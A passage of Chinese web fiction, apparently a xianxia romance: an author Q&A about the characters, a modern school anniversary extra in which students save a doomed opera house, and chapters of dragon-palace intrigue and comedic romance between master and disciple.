唐山玉:第一印象?是可以抱的大腿,能够让我吃饱饭的长得又好看的对象,虽然作为师父,有点不靠谱,但是每个人都有第一次,第一次当师父不熟练能够理解。 秦兰时:小小只的,看上去脸上没什么肉,当然这些都不是重点,听到他能够接我的梗我是真的高兴坏了~我可等太久了~ 问:山芋和兰时平时睡觉的时候有什么小习惯。(睡觉就是睡觉啊,睡觉是不会嗯…) 答:唐山玉表示秦兰州睡觉过于奔放,衣服总是不穿好,有时候还不小心把衣服上的带子缠自己身上。 秦兰时表示唐山玉睡觉过于乖了,没有意识的时候就喜欢往他怀里靠,把他靠得可谓是心花怒放。 问:玉瑶对每个人的印象。(每个人写太多了,挑点) 答: 对唐山玉:山玉哥哥做什么都是最棒的。 对叶玄洲:玄洲哥哥,你是个好人。 对方安城:闷葫芦。 对慕轻轻:…好看,羡慕的对象。 对张欣雅:女人,你还是不扯我头发的时候最美丽。 对卫朔:…对死亡情有独钟的怪家伙。 对盛知许:…呵呵。 对石泽竹:不熟。 对谢璟:…不敢惹。 对胡长乐:…嗯,看在山玉哥哥份上,给个五分印象吧。 对秦兰时:美人师父,好看! 对时澜:死白莲。 对顾延清:……(安静如鸡) 问:每个人吃的口味?(哇塞,又是每个人,是不是想我多码字!总之,挑点出现多的,想补充的可以和俺说) 答: 唐山玉:甜,还有红烧鱼。 秦兰时:不挑食,我都喜欢吃,食物有什么错呢~ 谢璟:都可以。 顾延清:…甜。 慕轻轻:当然是贵的。 盛知许:没有呢。 石泽竹:都喜欢吃!更喜欢吃馒头! 胡长乐:喜欢…土豆,我是土豆神教最忠实的信徒。 江玉瑶:麻辣兔头,兔兔可爱,好吃~喜欢吃辣!世界上怎么能没有辣椒! 叶玄洲:当然是贵的啦……不过,我更喜欢母亲亲手给我做的鸡汤。 方安城:……香菜死。 问:兰时买东西是偏向实用性还是美观性? 答: 秦兰时:当然是好看的~不好看的为什么要买……如果是山玉喜欢的,那就买吧,当然我绝对没有说山玉审美奇怪的意思,绝对没有! 问:山玉如果成为资本家会怎么压榨? 答:山玉会让所有人都卖力干活,并且还不会觉得自己被压榨,然后快乐地当一匹合格的牛马,当然,山玉不会吝啬于钱财方面,因为压榨钱财方面会让牛马产生不满,毕竟一个月三千块你玩什么命呢。 其实他应该会成为最合格的老板。 问:山玉和兰时一开始最初的人设是怎么样的? 答:最初的人设,山玉一开始我没有想要把他写得如此的…万人迷,就只是那种咸鱼躺平设定,后边我也没想到越写越卷,可能是打工人的自觉更胜一筹吧。 而兰时呢,一开始就是那种潇洒侠客风,然后加一点点悲伤,加一点点壮志未酬,总之遗憾未了……但是现在发现他越来越猫化了,果然是被偏爱的有恃无恐吗? 当然,癫是一开始的设定,这个我从未想过修改,这种精神状态实在是太令人喜欢了。 问:如果让他们写同人文,他们会怎么写? 答: 不正经版本:唐山玉会把秦兰时写成深夜爬床吸他阳气的男鬼,甚至可能还会有点冥婚元素,走的是这样那样的灵异风。 正经版本:唐山玉会把秦兰时写成最意气风发的少年,然后他会和这样的秦兰时相遇,非要确定一点,是江湖少年游的同人文吧。 不正经版本:秦兰时会把自己写成最有钱的人,然后唐山玉是欠债的爸,哭泣的妈,破碎的他,最后上演他追他逃他插翅难飞狗血淋头的绝佳剧情。 正经版本:秦兰时会写现代校园文,写那场阳光,那个转学生,那个拐角处吹动的风,还有和他一起上学的少年,一起吃饭一起玩耍,最后一起毕业,然后见家长,最后结婚,和这个世界上所有的普通人一样,努力度过美好的一生。 周年庆番外·大人也要托起小孩的梦 会议室。 老师们的气氛非常凝重,在这里的老师,班上都丢了学生,而且大部分都得到了一句极其中二的话语,说是什么要去托起一个要掉落的梦想。 “秦老师,我希望你能给我一个合理的解释。”有学生参与进来的老师缓缓叹了口气,他看向了秦兰时,“听那些学生说,这事好像是是那个叫唐山玉的同学组织起来的,这个叫唐山玉的,是你的班没错吧?” “哦,对,是我带的班的。”秦兰时点了点头,他正在看着手上的手机,此刻的他无比希望有个学生能够带手机,现在这种联系不上人的情况有点糟糕。 “那他也太胡来了吧?居然让一群学生陪着他去瞎闹,虽然不知道他怎么办到的,但是他这个行为已经触犯了校规了,应该给予处分。”这个老师看到秦兰时这般漫不经心的样子,顿时咻的一下站起来,他看上去正怒火中烧。 “……”秦兰时没有回答这句话,这让这个站起来的老师有点没劲,毕竟秦兰时是出名的护崽子,尤其是自己班的。 这个老师想得很好,要是秦兰时护着这个学生,那么他就可以投诉到校长,就说学生做错,作为老师不以身作则,甚至还纵容学生胡闹,实在是不配被评为优秀老师。 “…你们有人知道这些学生跑去做什么了吗?”燕明华无视了这里浓浓的火药味,她转头看向了很有话语权的顾延清。 “不知道,你们有问过和那些学生关系好的学生吗?”顾延清看向其他老师,指节轻敲桌面。 “问过了,但是都只有那一句话。”一想到那中二的话语,这个老师实在是有点说不出来。 还是旁边的孟江离重复了一遍,“我们要去托起一个即将掉落的梦想。” 老师们沉默了一下,随后又开始探讨起这件事该怎么解决。 “怎么办,如果学生出事了就麻烦大了?” “这群学生也真是的,好好的学不上,愣是去搞些有的没的。” “家长那边怎么说?” “…不好说,尽快把孩子们找回来最好的。” 总之,都没有人知道这群学生跑去了哪里,与此同时,秦兰时也停止了看手机,他抬起头,看了一眼顾延清,而顾延清接触到他的目光后,出声问道: “秦老师,你知道那些学生去了哪里了吗?” “刚刚许老师给我发了讯息,她说,她好像知道那些孩子要去干什么了。”秦兰时晃了晃手里的手机,然后说出了一个地址,一个戏园的地址。 “他们跑去那地方做什么?我听说那边好像快要拆迁了。”一个老师皱起了眉头,“还有许老师也真是的,她还没放弃那个念头吗?现在唱戏已经过时了,她的戏曲社团能够开成功,还不是因为校长……” 秦兰时站起了身,淡淡地看了这位老师一眼,只一眼就让这个老师止住了话头,他或许也觉得自己方才好像说得有点过了,于是有些心虚地低下头。 “秦老师?你要去哪?”顾延清发现秦兰时好像要离开了,人已经越过会议桌,直直地往门口走去。 “去接学生啊,不然呢?”秦兰时转头看了他一眼,“你的年级第一也在里面呢,你不去接?” “去的,不过我得和校长说一声。”顾延清点了点头,毕竟学生那么多,多去几个老师去看情况也是好的。 “行,那我先走咯~”秦兰时比了一个先行的手势,接着他就毫不犹豫地离开了会议室。 门被关上,老师们在会议室也纷纷互相对视着,似乎在决定除了秦兰时还有哪个老师前去接学生,这事情要是做不好,毕竟那些学生要是哪个摔到了跌哪里了,他们都是要负责的,所以一时之间,没有老师敢开口。 “我也去好了,顾老师,你过会和校长说吧。”燕明华站了起来,她轻快地也越过会议桌,走向了门口,突地,她转头看了一眼 “江离,一起吗?” “一起。”孟江离也跟上去了。 宋鸠不知道自己一个校医为什么会在这里,不过他为了防止有学生受伤,也跟着站起来,跟上了那俩人。 “……他们好像借了不少东西,比如服装道具什么的,他们不会弄坏的吧?”梁均阴暗地翻动着自己的笔记本,翻着翻着,他就坐立难安起来了,所以他也站了起来,“不行,我得去看看。” 梁均急匆匆地拿着笔记出去了。 留下来的老师面面相觑,最后有几个老师也跟着走上前,因为他们要去接自己的学生。 与此同时,顾延清也将这件事报告给苏岭月,苏岭月听到这件事,手里的养生茶杯狠狠地砸在桌子上,茶杯没碎,但是脆弱的玻璃桌子有事。 “这帮孩子又胡闹什么!!”苏岭月觉得自己的小心脏受到了不少惊吓,“天天那么闹,让上边看到了怎么办,就不会悄咪咪闹吗!!” 顾延清一副见怪不怪的模样,他看了那一地玻璃碎片,估计了一下价格,然后就没有然后了,“我也要去接我的学生了。” “…秦老师已经去了吗?”苏岭月双手交叉立在桌面上,并且将其支撑着下巴。 “是的。”顾延清点了点头。 “…务必把学生都安全地带回来,明白了吗?”苏岭月拿起养生茶杯,茶杯底部掉落了几块碎片,他就这样用这个茶杯喝了一口里头的枸杞茶。 “当然,这是我的职责。”顾延清那么说着,转身走出了校长室。 与此同时,秦兰时骑着他的机车快速地在马路上奔驰着,周围的景色在飞速地往后移动着,许是心情过于急切,他没有看到骑着自行车规规矩矩在自行车道上的唐山玉……还有他后车座上叫唐山玉快点骑的老人。 总之,秦兰时比唐山玉更快地来到了现场,他将车子停好位置后,就审视了一遍这里的情况,周围的房屋或多或少都拆了不少,唯有那间戏园子,完完整整地立在那里,可以想象保护它的人到底有多努力。 “这群小混蛋,尽给我惹事。”秦兰时将头盔取下放好后,就准备往那个戏园子走去,刚到门口,秦兰时就听到了里面的声音。 “快快快,把这个挂那里!!” “对,就是那个,摆在那里,不要动!” “王顺英,你终于来了!!快过来,我们给你化妆和穿戏服。” 秦兰时沉默了一下,随后悄咪咪地打开一条缝,他往里头看去,看到那个燕明华的爱徒慕轻轻正在开心地举着乐器,并且和她的朋友讨论着待会什么时候奏什么乐。 而孟江离经常夸的学生石泽竹正在里头搬运东西,那些道具被他们体育生挨个摆好,甚至还有摄像用的仪器,可谓是准备得明明白白了。 秦兰时甚至在里头看到了几个自己的学生,看到的时候,秦兰时已经想好让他们写什么检讨了。 而那个年级第一谢璟正在冷着脸站在那里摆弄摄像机,他看上去非常不爽,看上去非常无可奈何,但是就是在忙。 ……唐山玉呢?不会还没来吧?到底在干什么? 就在秦兰时担心的时候,突然,他察觉到了什么,看到远处走来了一群…呃,看上去特别精神的小伙,他们手上拿着锤子,一副要来干架的模样。 当然,这不是重点,重点是这群精神小伙是冲这里来的,秦兰时在发觉到这一点的时候,皱了皱眉头,于是他静悄悄地关上戏园子的门,走上前去。 “请问…你们过来这里是有什么事吗?”秦兰时站在了他们面前,露出礼貌的笑容询问起来。 “呸,关你屁事。”一个小弟冲秦兰时的前面吐了口痰。 秦兰时:…… 秦兰时眼里似乎闪过什么情绪,不过他依旧是笑着问道,“我是真的很想知道嘛?能告诉我吗?” “告诉你干嘛?”领头的那个突然想起什么,他看向了秦兰时身后的戏园子,“哦,你是来护着它的啊,抱歉啊,它今天要被拆了,早就听说你们有人不太配合,明明合同都签了。” “…签了合同?”秦兰时闻言一愣,但是按照他所知道的情况来看,这个合同不可能签上的,因为这个戏园子的主人并不同意。 “对,识相点就快滚开,妈的,这戏园子早该拆了,天天看着闹心,守着这个破地方又不能赚钱,真是搞不懂!”说着,领头的精神小伙就绕过秦兰时要往前走去。 秦兰时往前走了一步,拦在了这个领头的精神小伙面前。 “…做什么?!” “我是老师。”秦兰时那么说着,就慢条斯理地脱下自己的外套,“我的学生还在里面唱戏,戏一旦开始,就要唱完。” “我管你什么学生不学生,戏不戏的,就算你的学生在我们也照砸,还不快点让开!!”那领头的精神小伙举起手里的锤头威胁道。 “…抱歉,恐怕不太行。”秦兰时解开了衣领上的几个扣子,稍微活动了一下手腕,“我是老师。” “?有病吧你!从刚才就只会重复一句你是老师,你是老师你很牛逼吗?不想受伤就赶紧滚开!!”说着,那精神小伙举起手里的锤子就要砸过去,他来势汹汹,显然是依仗着什么,才如此大胆。 “正因为我是老师,所以我一直履行着老师的职责教书育人。”秦兰时将手上的外套往上空抛去,遮住了上方灿烂的骄阳。 “而我现在是在托起一个学生即将掉落的梦想,作为老师,自然义不容辞。”一个拳头,狠狠地从精神小伙的下巴打过去,只见那精神小伙飞到了空中,和天上的外套,骄阳肩并肩。 “大哥!!!”来自小弟的哀嚎,而那群小弟纷纷凶神恶煞地瞪着秦兰时,手里的锤头已经饥渴难耐了。 “他妈的!敢打我们大哥!!”一个小弟举起锤子就往秦兰时的身上打去,与此同时,更快的是至不远处飞来的脚,这脚好巧不巧就踹在了小弟的脸上,只见孟江离不知道从哪里蹦出来,直直地踹了过来。 “你们终于来了啊。”秦兰时看上去很开心,不过和他的表情不一样的,是跟在孟江离等人背后的几位老师。 “天啊,这到底是什么情况!!”其中一位老师叫了出来,她不是来接学生的吗?怎么会遇到疑似那什么社会的现场! “他们想要伤害我们的学生。”秦兰时非常简短地说明了情况,而能够来到这里的老师自然都是爱着学生们,于是他们开始用不善的眼神看起了这些精神小伙。 “…干,干什么?”精神小伙咽了一下口水,这些目光让他们想起年轻时候面对老师的感觉,那种畏惧感一直在骨子里。 “等等,赵浩,你怎么在里面?”其中,有一个老师眼神犀利地摘下眼镜擦了擦,又重新戴回去,“这就是你交给我的人生答卷吗?” 被喊出名字的精神小伙赵浩顿时身子一抖,但是他又想起兄弟们,顿时举起手,对着往日的班主任比了个中指。 这位戴眼镜的老师:…… 秦兰时没有管这边师生相认的戏码,而是转头看向了梁均,和他说明了一下合同的情况,还在着急那群被学生借走的器材的梁均突然愣了一下,随后他点了点头,然后拿起了手机。 “我会找认识的人去办这件事的。”管财务的梁均老师,自然会认识一些志同道合的朋友。 而校医宋鸠站在旁边,看了那群精神小伙一眼,举起了他带上的医药箱晃了晃,他觉得里头的药品有点不够用啊,要不他也喊人过来帮忙?不过,秦兰时现在已经是老师了,应该不会把事情闹大了吧? 应该…不会…吧? 宋鸠不确定,所以他决定还是有备无患比较好。 “那么,就让我们为了守护学生而战吧~”秦兰时轻轻一笑,精神小伙生死难料。 过了一会,顾延清也来到了这里,他依旧穿着那件简朴的衬衫,手上戴着老式的手表,而他手上正拿着几张纸,胸口的衬衫口袋那里挂着一支笔。 “情况怎么样……了?”顾延清看着混乱无比的打架现场,会打架的已经上去打了,尤其是秦兰时正凶狠地对准一个小弟的脸猛打,而不会打架的老师正举着手机拍摄视频,甚至拍摄的角度都是凶神恶煞的精神小伙和被迫反击的老师们。 校医宋鸠蹲在地上等着战绩结算。 顾延清:…… 他叹了口气,然后将纸递给了站着的老师们,随后走过去默默卷起了袖子。 等唐山玉骑着自行车带着后边的老大爷来到这里的时候,他发现现场好像有点混乱,奇怪,之前这里有那么乱吗? 唐山玉不明白,但是唐山玉急着带王爷爷往戏园子赶。 “戏呢!戏开唱了吗!”王爷爷很急啊,恨不得自己下来走,但是他也知道自己下来走更慢。 “快了快了,已经在前面了,您老再等等。”唐山玉连忙开口回答他。 而就在少年带着一个梦想不死的老人路过某个巷口的时候,一位半边肩膀披着外套的男人拿出口袋里的棒棒糖,拆开糖纸,把糖塞进了嘴里。 他身边还站着几位老师,其中一个中年老师正在对一个精神小伙指指点点,语速很快,也不知道在训些什么。 而顾延清站在一边,他的袖子已经放下来了,不过因为运动留下的汗还是渗透了他所穿的白色衬衫,他拿着笔和纸,看向秦兰时,“秦老师,你这次要写报告的。” “你也要写。”秦兰时看了回去,提醒道。 “我知道。”顾延清没有多说什么,他转头看向那边的戏园子,他还要等学生们出来,一个一个记录名字呢。 而在学校的盛知许看着某人留下的纸条缓缓叹了口气,此时此刻他正在学校的电脑控制台那里,“真会给我找事做,谁叫我是班长呢。” 说着,盛知许将纸条放下,在操作台上摆弄了几下,很快,一声悠长的戏腔在屏幕里头传出,紧接着的是极为喜庆的古乐在背景里响起。 与此同时,学校里的全部电脑都不约而同地出现了同一个画面,里面站着几位戏子,正唱着咿咿呀呀的戏曲,与此同时,武旦也上台,开始举着手里的长枪在上面舞了起来,长枪动如游龙,十分的让人惊叹。 “将——军,万万不可——”那将军夫人抬起手,抚上心口处,诉说着对将军的无限情愫。 “夫人莫要拦我,此行我——必——去——”将军扶起夫人,声音很是悲切。 台下的王爷爷抬起了头,看着这熟悉的一幕,不由得想起了曾经他在台下,看着上面的人唱这这样的戏,那个时候,他的眼睛很亮,像那时天空的星星。 而台上唱戏的,是他的父亲,戏,是父亲留给他的东西。 教室里的许老师抬起了头,她看着这出由学生们演出的戏,这让她想起当初,她一个人站在戏台上,嘴里唱着那悠长浪漫的曲调,而台下,没有一个人在看。 而现在,恍惚间,她想起了来自老师的话:不要放弃,我们的戏,会有人听的。 在台上的王顺英抬起了头,他觉得自己此时此刻的感觉很好,他回忆起了曾经和爷爷一起学戏的过往,轻轻一吐,便是这首壮阔又靓丽的长歌。 戏一旦开始就要唱完,而人生这场戏也应是如此,他想,他知道以后要做什么了。 看着视频的学生们抬起了头,他们或许觉得无聊,或许觉得有趣,但是他们都难得安静地听着这场戏,也不知道这听戏的学生里头,有哪几个的眼睛是亮如星辰的。 …… “该写检讨了。” 唐山玉获得了自己的写检讨纸张,他沉默着,然后小心翼翼地抬起头看一眼秦兰时,秦兰时依旧是那副冷酷老师的模样。 “不愿意?”秦兰时见人不说话,挑了挑眉,没想到唐山玉这小子还有这种骨气…… “我愿意。”唐山玉特别老实且没有这种骨气。 “我还以为你会再抵抗一下呢?”秦兰时伸出手搭了一只在唐山玉的肩膀上,“没想到啊没想到,你看着乖乖巧巧的,惹事的程度可不低哦?” “…你看上去很高兴?”唐山玉有些意外,毕竟哪有喜欢看的学生惹事的老师啊。 “这不是你让我想起那段辉煌岁月嘛,啊,想想我都觉得自己好帅。”秦兰时无比自恋地撩起自己头发,看得唐山玉嘴角微抽。 “…是是是,我要回家了,检讨我会努力写的。”说着,唐山玉拿着检讨纸转身就走。 “等等。”但是被秦兰时一把勾住了书包。 “…你……”唐山玉缓缓转过头来,用不敢置信的眼神看着秦兰时,“难道想要体罚我?” “想什么呢!我是那种老师吗!!”秦兰时因为被怀疑瞬间炸了毛,“我是说,你要是不急着回家,要不要随我去其他地方?” “…拐卖小孩?”唐山玉不确定地继续怀疑道。 “不是!!!”秦兰时继续炸毛。 总之,俩人一起跑了,而唐山玉抛弃了他的自行车,坐在了秦兰时的机车上,而秦兰时载着唐山玉奔驰在马路上,风急急刮过俩人的头盔,文明驾驶第一位。 “到了,就是这里。”秦兰时把唐山玉带到了一个大桥边上,在这里,可以对整个城市一览全无。 “…未成年不能喝酒……”唐山玉看着此情此景,默默转过头来,述说着自己的不合适。 “所以我给你买了饮料。”秦兰时对唐山玉的脸蛋采用了冰冻饮料战术,冻得唐山玉捂着脸直后退。 “你还要开车呢,你也不许喝酒。”唐山玉非常为自己的生命着想,所以他连忙去看秦兰时手里的罐子,发现了啤酒一罐。 “哦,没关系,我们可以推车回去。”秦兰时非常遵纪守法地道。 “我不想推车回去。”唐山玉拒绝了这个提议。 “噗,开玩笑的,我会让人来接,不酒驾的,再说了,这般风景,不喝酒实属浪费啊。”秦兰时晃了晃手里的啤酒罐,熟练地打开了。 “……”唐山玉打算信人一次,于是他也打开了手里的罐子。 俩人一边吹着晚风一边喝着,最先开口的是秦兰时,“今天爽吗?” “还好,看到他们开心,我尸体暖暖的。”唐山玉听到这话点了点头。 “哈哈……”笑声自由地撒在风里,秦兰时忍不住高兴起来,“你有几分我当年的风范。” “你在怀念青春了?” “怎么?不可以吗?”秦兰时凑过来,身子贴在唐山玉身上,感受着来自这个少年的偏高的体温。 “可以,没有问题,你怀念青春,我幻想长大。”唐山玉继续喝饮料,任由秦兰时靠自己身上。 “你想要成为什么样的大人?” “你想要什么样的完美青春?” 俩人同时发问,又一起愣住。 “非常酷的大人。” “不后悔的青春。” 又是齐声的一次。 年长者怀念着最为张狂的岁月,年少者幻想着长大后的自己,不后悔的青春,非常酷的大人,这些都承载着美好的愿望。 不管怎么样…… 穿着制服的大人对穿着校服的孩子举起手里的酒罐,和小孩手里的饮料碰了个杯。 “这一杯,敬未来。” 我们终要前行。 第197章 大贴特贴 英雄醉初入口是淡的,像极了初入江湖的毛头小子,细品下有微甜,可往后迎来的,却是无法忽视的辛辣,是浓郁的,刺激的。 待这份激烈的辛辣过去后,独留下浅浅的苦味遗留在嘴里,近于无,像一种错觉,但酒所带来的余热未散。 “英雄醉好像味道有点变了。”秦兰时那么说着,放下酒杯,抬头看向了老龙王,“所以呢,留我下来做什么?我只是个小小化神哎~” “……”老龙王沉默了一下,随后抬手拉扯一下胡子,用一副你是怎么有脸说出这句话的眼神看过去,而秦兰时依旧是那副轻松摸鱼。 “我们龙族与贵宗的合作还在继续。”老龙王也拿起手边的酒,喝了一口,喝完他叹了口气,“你我也算是有不少交情……” “你我真没多少交情,真要有,我们不能让肮脏的感情玷污我们纯洁的金钱交易啊。”秦兰时话说得很直白了,这老龙王和人类打交道多了,说话也喜欢弯弯绕绕起来。 “…说得也是。”老龙王也不谜语人了,而是直接开口道,“秦尊者,我需要你的帮助。” “陛下。”秦兰时难得恭恭敬敬地喊了人一声,此时他虽笑,但笑容不达眼底,而他周身散发着若有若无的威压,“这是有代价的。” “无私的是神,而不是人。” …… 唐山玉在看完房间后,发现这的确比在庄子枭那边住的要大要亮堂,查看完这里没有什么奇怪的东西后,唐山玉才在床边坐下,这床很大,足够容下好几个人。 师父还没回来,他只能自个儿待一会儿了,慕轻轻带着特别有活力的石泽竹和胡长乐参观起了龙宫,谢璟也回到了自己房间里头去了,想也不用想是和顾延清偷偷摸摸通电话呢。 …虽然也不算是偷偷摸摸啦。 唐山玉这样想着,就缓缓躺下,感受着柔软的床垫,思绪也渐渐飘远,这次的海上游历过得还算安定,一路上没有遇到什么危险。 …不过其中加入的任海,目的并不明确,他们现在只知道对方或许对谢璟的那把剑有点兴趣。 而关于谢璟的那把剑……唐山玉没有忘记初次看到那把剑的时候,压抑无比的气息,翻滚的岩浆,摇晃的锁链,这些一系列的东西无比彰显着它的不俗。 神剑万古……若当真是神剑,又怎么会做出伤害众人的行径。 虽然唐山玉不知道那剑到底有何玄机,但是当初的感觉并不算好,周围人都被它散发的气息所影响。 但是谢璟收服它后,这剑又变得乖巧无比,全然看不出它先前的凶残来,就连平时的对练也是如此,可之前的邪气是做不得假才是。 …难不成主角还有自带镇压邪气的功能,这么牛逼? “…山……” “……玉…” “山玉?亲爱的?” 唐山玉回过神来,发现秦兰时不知道什么时候趴在了旁边,正伸出手戳他的脸颊,一戳一个准,甚至还不亦乐乎。 “…你什么时候回来了?”唐山玉缓缓坐起来,摸了摸脑袋,“我刚才睡过去了?” “没有,你只是在想事情,想什么呢,那么专注,我差点就打算把你亲醒呢?”秦兰时凑过来,捧起唐山玉的脸,在对方的唇上亲了一口。 “…你现在也在亲啊?”唐山玉被亲了一口,没有其他举动,任由着秦兰时继续往下动作着。 秦兰时又在人的两边脸蛋上各亲了一口,他此时此刻就像个急需主人抱抱的小狗一样,疯狂地摇着尾巴,狂蹭着主人的脸。 “我刚才想的是……”还没说完,唐山玉就感觉到自己的唇又被亲了一口。 “嗯?什么?”秦兰时在那唇上熟悉地舔吻了几下,随后又移动到了旁边的脸蛋上,亲了几下后就顺着脸颊往上亲去,就这样亲到了额头上。 “不是…师父……”唐山玉被亲得闭上眼,他显然没有想到此时此刻的秦兰时那么黏糊。 “嗯~”秦兰时没有回答他,而是继续黏糊地亲着唐山玉,这种满足又痴迷的神态像极了人类吸猫的举动。 “…师父……”唐山玉有点想躲开,不是不喜欢,而是他有话要说,现在好像不是亲亲的时候吧? 秦兰时抱着人,随后低头趴在了人的颈窝那里,张开嘴细细舔吻着那被他扯开衣裳下露出的锁骨,是的,方才的那些举动下,秦兰时已经熟练地弄乱唐山玉整整齐齐穿在身上的衣服。 “师父…等…?!”唐山玉身子抖了一下,他低头看着秦兰时在自己脖颈上留下的那抹红痕,而本人还有着往下黏糊的迹象。 唐山玉:…… “…好了好了,剩下等晚上回来再说怎么样?”唐山玉捂住了这个祸嘴,叹了口气,随后也凑过去在那人的唇上吻了一下,“先说说,那个龙王和你都聊了什么?” “…我们的床上不应该有外人吧?”秦兰时显然因为这个打断有点不满,不过他还是乖乖地趴在唐山玉的肩膀上,“嗯,我之前不是说过我们随清宗和龙族有合作吗?” “对,你提过,而慕轻轻也是合作的证明之一。”唐山玉抬手摸了摸他的脑袋,把秦兰时给摸爽了。 “这次他找我是想要我帮忙找出龙族的内部叛徒。”秦兰时说着,就着唐山玉那抚到他脸颊的手蹭了蹭。 “…叛徒?有明确的对象吗?那龙王总不能让你大海捞针地找吧?”唐山玉闻言皱起了眉头,“你答应了吗?” “…这个嘛……?”秦兰时笑嘻嘻地凑上来,就那么趴在唐山玉身上,亲了唐山玉一口,随后歪着头,含笑看着人,“你猜?” “……”唐山玉带着上边的人翻了身,现在轮到秦兰时躺在了下边,唐山玉一只手撑在秦兰时的脑袋旁边,另一只手则是毫不留情地掐住秦兰时的脸蛋,“和我卖关子?快说!” “呜呜……”秦兰时小小的挣扎了一下就被唐山玉放开了。 “总之,总之呢,他的确给了我几个名单让我过去试探,当然,我要装成……呃,就是那种会收贿赂的模样,虽然龙族和随清宗有合作,但是或许会有家伙想要从中插手。” “…你是说,你要趁着这个机会,把名单上的家伙挨个排查一遍,然后确认完毕后就告诉龙王?”唐山玉觉得这玩意不就是钓鱼执法嘛。 “是的,所以我刚刚在龙宫和龙王吵了一架。”秦兰时为自己的机智比了个耶,比完后他就再度捧起唐山玉的脸,“所以!作为我的好徒儿,山玉你要多注意安全才是,万一有不长眼的人给你送美人,你可一定要拒绝呀~” “…这话不应该是我说吗?”唐山玉沉默了一下,就低头看着身下这个试图卖萌的家伙,“…哈啊,我知道了,我保证躲着他们走行了吗?” 钓鱼的是秦兰时,不是他,不如说,他估计是顺带的。 “对了,我和你说!那名单上的家伙都有……” …… “师父,我们已经来到了卧吟岛,目前住在龙宫,我们一切安好,师父可以放心。”谢璟正在房间里和顾延清汇报着情况,一边汇报一边悄咪咪抬头看着顾延清的神情。 总之,在谢璟把这些日子遇到的事情都和顾延清说了一遍后,他们之间的话题就差不多该结束了。 “如果还有其他的,秦师叔会告诉您的。”谢璟想了想去和老龙王见面的秦兰时,最后补充了那么一句。 “…好。”顾延清应了一声,随后他看到谢璟起身,似乎准备把浮光镜给关掉,他愣了一下,下意识地喊了一声,“阿璟!” “…嗯?”谢璟抬眼看了过来,还未等他琢磨起顾延清喊他的用意的时候,突然,啪的一下,他的窗户被人从外边打开了。 在谢璟眼里,一道红色的残影就那么直直地朝他扑了过来,将他扑了个正着,而残影发出了让谢璟无比恐惧的声音:“谢弟弟~一个人呢?” 原来是这道残影是慕流月,那个馋谢璟身子的龙族女流氓。 “…放手。”谢璟感觉到自己的脖子要被这个家伙给勾断了。 “不嘛,不嘛,你就从了我呗~”慕流月压根不想撒手,这种拒人于千里之外的感觉,实在是让人心情愉悦,也久违了。 “不,放手。”谢璟抬手就要把人从自己身上扒拉下来,手腕处的手链因为他的剧烈动作正不停摇晃着,清脆的声响突然让谢璟想起了什么,于是他缓缓扭头看着还没有关掉的浮光镜。 此时此刻,里头的顾延清正看着这一幕,他依旧没什么表情,看上去一如既往的冷淡,但是没来由的,谢璟心底一慌,使出了浑身的力气去推慕流月。 但是……推不动。 又是怨恨自己为什么只是个金丹的一天呢。 “……二殿下。”就在谢璟绝望的时候,浮光镜里头的顾延清突然出声了,这声音和往常一样清冷如月,引得慕流月也不由得往那浮光镜看去。 “呀!原来是顾郎君啊~我也好想你呢~”慕流月依旧抱住谢璟不松手,不过她的眼睛却是直勾勾地盯着浮光镜上的清冷大美人看,毕竟顾延清也是如此风韵犹存啊。 “嗯,许久不见。”顾延清点了点头,算是问好了,他的视线轻轻地落在谢璟和慕流月俩人身上,声音沉着地道,“不知二殿下可否松开我的弟子?他看起来不愿。” “不愿…?”慕流月咦了一声,随后她又看了顾延清一眼,这一眼却不只是在欣赏美色了,而是在判断着什么,作为情场老手的她后像是明白了什么,瞬间开怀一笑。 笑着笑着,慕流月就将谢璟抱得更紧些,而她的抱法为了不被谢璟推下去,是伸出双腿勾住谢璟的腰,总之,在女人笑完后的下一秒,那只洁白的手轻轻地抬起谢璟的脸,让他正对着浮光镜,她则侧着头,让自己靠得谢璟更近些。 而接下来,她那声音极为愉悦地响起来了: “到底是他不愿,还是你不愿呢?顾郎君~” 第198章 不对 这番话一落下,最先开口的不是顾延清,而是谢璟,而他说出的话也是中规中矩,并且轻而易举地方才那股奇怪氛围给化解开来,“…二殿下,你如此行径,师父这般爱惜我,自然不会不管。” “我不愿意与你亲近,是你强迫于我,二殿下,强扭的瓜不甜,请你放开我。”谢璟说完,就又推了推慕流月,发现对方的力度松了些,便挣脱开来,站在了离慕流月较远的地方。 许是背后有人撑腰,谢璟的话也逐渐犀利起来,“早就听闻龙族风流成性,今日一见果真如此,只不过你这般举止实在是惹人心烦,还请二殿下莫要再过来烦我。” 慕流月听到这话微微一愣,她还没说话呢,谢璟就转头对着在浮光镜上的顾延清说道,“多谢师父救我于水火。” 整体下来,丝毫不见方才的古怪氛围,独留下来的,全是真诚满满的纯洁师徒情。 顾延清欲言又止,止言又欲,最后他什么都没说,只是站在那头点了点头,像是接受了谢璟这番感谢。 只不过,顾延清桌下的手不知不觉地握紧衣服,只见他努力让自己看起来非常正常,“嗯,不必,你是…我的徒弟,这是应该的。” 谢璟听到这话,顿时就明白了顾延清的意思,这是默认他方才的行为,虽然有点伤心,不过…如果这是师父所希望的,那么谢璟就会朝着这个方向努力下去的。 “二殿下,所以你……”谢璟重新转过头去,然后他发现不知道什么时候慕流月逼近了过来,她似乎在细细看着他的脸,神情却是难得的温和。 只见慕流月伸出手轻轻抚上谢璟的脸,浅笑道,“你知道吗?曾经有个家伙也那么对我说过,他的话可比你冷得多。” 谢璟:……? 他默默后退了一步,努力躲开对方的触碰。 “你猜猜看那个家伙最后怎么样啦~”慕流月满脸期待地看着谢璟,似乎很期待谢璟的回答。 “…不知道。”谢璟不想猜,所以他选择了回避这个回答。 “最后啊……”可是慕流月不给他机会,只见她莞尔一笑,看上去无比开心,“他!被我抢过来当我的正夫啦!” “所以呢~”说那时,那时快,还没等谢璟反应过来,一条灵活的鞭子就那么捆住了他,这让谢璟一脸懵逼,而下一秒,鞭子那头的的人用力一拉,谢璟就这样跌落在了那人的怀抱里,而慕流月愉悦地再次摸了摸谢璟的脸蛋,“我也要把你抢回去当夫郎啦~” “开不开心?” 谢璟:…… 谢璟发现他这次也挣脱不开。 沉默几秒后。 谢璟他看上去好像死了。 “那么,顾郎君~我就带谢弟弟回去了哦~再次看到你的脸真的很开心~”慕流月一边说着,一边扛着谢璟走到旁边的窗台那,她转头冲着浮光镜里的顾延清挥了挥手,并且还冲其飞了个热情的吻。 她心情愉悦地看了一眼浮光镜里头似乎没什么其他表示的顾延清,随后就扛着人从窗台上一跃而起,就那么消失在了顾延清的眼里。 